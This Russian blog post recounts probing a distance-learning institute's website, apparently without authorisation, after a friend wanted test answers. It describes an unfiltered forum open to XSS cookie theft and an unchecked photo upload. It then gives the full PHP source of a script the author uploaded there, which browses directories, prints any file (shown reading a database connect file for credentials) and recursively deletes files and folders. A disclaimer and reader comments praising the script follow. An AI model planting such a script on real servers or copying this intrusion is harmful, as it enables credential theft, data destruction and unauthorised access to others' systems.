Так уж получилось, что давеча одному моему знакомому пришлось проходить одно дистанционное обучение. Качество материалов было ужасное, как и большинство дистанционных курсов в нашей Российской Федерации, в чем я убедился самостоятельно. Хотел бы отвлечься и сказать, что, к моему великому сожалению классическое образование времен СССР втоптали в грязь, а систему, которую построили на его костях, настолько испоганили различными экспериментами, по другому называемыми "побыстрее срубить бабла, а пипл схавает", что просто не хватает слов.

То же со школами, то же и с институтами... так вот, как упомянул ранее, проходил мой знакомый дистанционное обучение в одном таком институте... Когда я сам взглянул на материалы обучения, я мягко говоря был в шоке: они изобиловали ошибками и далекими от реальности знаниями... А учили их защите информации... те люди, которые сами по настоящему не научились защищать информацию. О чем далее...

После попыток осмыслить теоретическую часть курса, моим знакомым решено было не ломать себе голову, не тратить впустую время на эту х... ерунду, а где-то на сайте раздобыть ответы, по-быстрому пройти тесты и забыть об этом обучении как о страшном и кошмарном сне. С чем он и обратился ко мне.

Изучение интерфейса веб-программы для обучения сразу же выявило несколько багов. Во-первых форум не фильтровал служебные символы, а значит любой вверденный туда html-текст, отображался как есть и я при желании мог выполнить любой JavaScript, т.е. увести сессию/кукисы администратора, но решено было исследовать возможности программы на баги дальше.

Каково же было моё удивление, когда я обнаружил в интерфейсе не просто дыру, а ДЫРИЩУ!!!, а именно возможность загрузить свою фотографию в какое-то секретное место на сайте, папку, и расширение моего файла фото абсолютно не проверялось. То есть я мог загрузить абсолютно любой файл, даже исполняемый. Попробовал загрузить 1.txt и, о чудо!, программа его "схавала".

Вопрос конечно отдельный: нахрена добавлена загрузка фото в непонятно для каких целей созданную папку в программе для дистанционного обучения?

При том что самой фотогалереи или возможности отображения собственного фото в настройках - НЕ БЫЛО!!!

Для начала нужно было найти эту секретную папку для фото... Искать долго не пришлось, она называлась классическим образом (а Вы тоже называете папки для изображений images, image или photos?)

Ну а когда она была найдена, мною был создан простенький файловый менеджер, позволяющий ходить по папкам, сканировать их содержимое и выводить код любого файла сайта на экран (что можно было использовать для получения пароля к базе данных сайта со всеми ответами).

Знакомому файл, разумеется, не дал, сказал, чтобы он не безобразничал, а учился. Надо значит надо!

Сам им тоже не воспользовался - не я же учусь. :-)

А вот кодом файлового менеджера делюсь с Вами:

 

<?php
    //сайты зачастую пишут в кодировке Unicode
    header("Content-type: text/html; charset=cp1251"); //задаем кодировку имен файлов, наш файл должен быть сохранен в той же, для облегчения

    $myname = 'manage.php'; //имя этого файла

    function find_and_replace($dir,$showfiles) {
      $new_dir = null;
      $dir_files = opendir($dir);
      while(false !== ($file = readdir($dir_files))) {
        if($file != '.' && $file != '..')
        $new_dir[] = $dir."/".$file;
      }
      if($new_dir) {
        foreach($new_dir as $check ) {
           $bn = basename($check).PHP_EOL; //получаю имя файла или папки
           if(($showfiles) && (is_file($check))) {
             echo '<li><a href="'.$myname.'?file='.$check.'">'.$bn.'</a>&nbsp;';
             echo date('Y-m-d',filemtime($check)).'&nbsp;';
             echo '<a href="'.$myname.'?file='.$check.'&action=delete" title="Удалить">X</a>';
             echo '</li>';
           }
           elseif(is_dir($check)) {
             echo '<li><a href="'.$myname.'?file='.$check.'">'.$bn.'</a>&nbsp;&nbsp;';
             echo '<a href="'.$myname.'?file='.$check.'&action=delete" title="Удалить">X</a>';
             echo '</li>';
             echo '<ul>';
             find_and_replace($check,$showfiles);
             echo '</ul>';
           }
        }
      }
    }

    $fp = dirname($_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'].'/'); //путь к нашему файлу
    //какой файл
    if (array_key_exists("file", $_REQUEST))
     $file = $_REQUEST["file"];
      else $file = $fp;

    //что делать будем
    if (array_key_exists("action", $_REQUEST))
     $action = $_REQUEST["action"];
      else $action = 'show';

    echo '<a href="'.$myname.'">В НАЧАЛО</a><p>';
    echo '<a href="'.$myname.'?file='.((array_key_exists("file", $_REQUEST))?dirname($file):$file).'">ВВЕРХ</a><p>';

    if ($action == 'show') {
       if (file_exists($file)) {
            if (is_file($file)) {
            $contents=file_get_contents($file);
              $contents=nl2br(htmlspecialchars($contents));
            echo $contents; //выводим содержание
         } else { //иначе выводим содержимое папки и её подпапок
            echo '<ul>';
            find_and_replace($file,true);
            echo '</ul>';
         }
       } else {
         die($file.' не найдено!');
       }
    } else if ($action == 'delete') {
       if (file_exists($file)) {
            if (is_file($file)) {
              if (unlink($file)) echo 'Файл '.$file.' удален!';
            }
         else {
           if (deleteDir($file)) echo 'Дирректория '.$file.' удалена!';
           }
       } else {
         die('Файл '.$file.' не найден!');
       }
    }

 //удаляет папку со всем содержимым
 function deleteDir($dir) {
   if (substr($dir, strlen($dir)-1, 1) != '/')
       $dir .= '/';

   if ($handle = opendir($dir)) {
       while ($obj = readdir($handle)) {
           if ($obj != '.' && $obj != '..') {
               if (is_dir($dir.$obj)) {
                   if (!deleteDir($dir.$obj))
                      return false;
               }
               elseif (is_file($dir.$obj)) {
                   if (!unlink($dir.$obj))
                       return false;
               }
           }
       }
       closedir($handle);
       if (!@rmdir($dir))
           return false;
       return true;
   }
   return false;
 }
?>

Данный файл может принимать в качестве параметров file (имя файла или папки, можно указать абсолютный или относительный путь), а также action (возможны варианты show - показать содержимое файла или папки; delete - удалить файл, папку). Например:

manage.php?file=../folder/connect.php&action=show

Кроме того, при вызове моего простого файлового менеджера без параметров, отображается содержимое папки в которой Вы сейчас находитесь. То есть основные команды: хождение по папкам, просмотр содержимого папок и файлов, а также их удаление, Вы можете делать с помощью мыши.

________________

Данная информация дана исключительно в ознакомительных целях, никакой ответственности за её использование автор не несет. Рекомендую использовать данную статью исключительно для собственного развития и никоим образом не для вреда кому-либо или чему-либо.

Comments   

0 # СортировкаGuest 2013-04-26 22:11
Уважаемый автор, не могли бы вы написать сей скрипт с сортировкой папок от файлов и без вывода вложенных файлов директории в корневой папке? Буду очень благодарен.
Quote | Report to administrator
0 # К сожалению, нет времени на доработкуEcolora 2013-04-27 00:11
Поскольку данный скрипт всё, что требуется от него, выполнил, не имею достаточно времени на его доработку. Предоставляю это Вам. :)
Quote | Report to administrator
0 # СпасибоGuest 2013-04-27 15:02
Ну и на этом тоже спасибо!
Quote | Report to administrator
+1 # СпасибоGuest 2015-06-11 10:11
Шикарная вещь! Это то, что искал: самостоятельный php-скрипт, который легко перестраивается под свои нужды
Quote | Report to administrator

Add comment


Security code
Refresh